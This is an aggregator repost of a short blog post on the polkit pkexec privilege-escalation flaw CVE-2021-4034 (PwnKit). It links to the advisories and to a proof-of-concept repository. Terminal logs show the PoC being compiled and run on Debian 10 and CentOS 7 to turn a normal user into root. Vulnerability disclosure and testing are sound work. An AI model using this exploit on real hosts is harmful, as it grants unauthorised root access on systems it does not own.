Your Web News in One Place

Help Webnuz

Referal links:

Sign up for GreenGeeks web hosting
January 28, 2022 04:15 pm GMT

CVE-2021-4034: The new vulnerability everyone has been talking about - PoC

CVE-2021-4034

While the vulnerability is not exploitable remotely and doesnt, in itself, allow arbitrary code execution, it can be used by attackers that have already gained a foothold on a vulnerable host to escalate their privileges and achieve that capability.

https://seclists.org/oss-sec/2022/q1/80https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

PoC

Verified on Debian 10 and CentOS 7.

You can find the repo at this link here https://github.com/Yakumwamba/POC-CVE-2021-4034.git

yaku@debian:~$ grep PRETTY /etc/os-releasePRETTY_NAME="Debian GNU/Linux 10 (buster)"yaku@debian:~$ iduid=1000(user) gid=1000(yaku) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)yaku@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-pocyaku@debian:~$ ./cve-2021-4034-poc# iduid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(yaku)
[yaku@centos ~]$ grep PRETTY /etc/os-releasePRETTY_NAME="CentOS Linux 7 (Core)"[yaku@centos ~]$ iduid=11000(yaku) gid=11000(yaku) groups=11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023[yaku@centos ~]$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc[yaku@centos ~]$ ./cve-2021-4034-pocsh-4.2# iduid=0(root) gid=0(root) groups=0(root),11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023sh-4.2# exit

What is polkit?

Polkit is a daemon that manages system processes and policies. It is used by system administrators to control which users and applications can have access to certain system resources.

*whoami? *
YAkU


Original Link: https://dev.to/yaku/polkit-the-new-vulnerability-everyone-has-been-talking-about-4ela

Share this article:    Share on Facebook
View Full Article

Dev To

An online community for sharing and discovering great ideas, having debates, and making friends

More About this Source Visit Dev To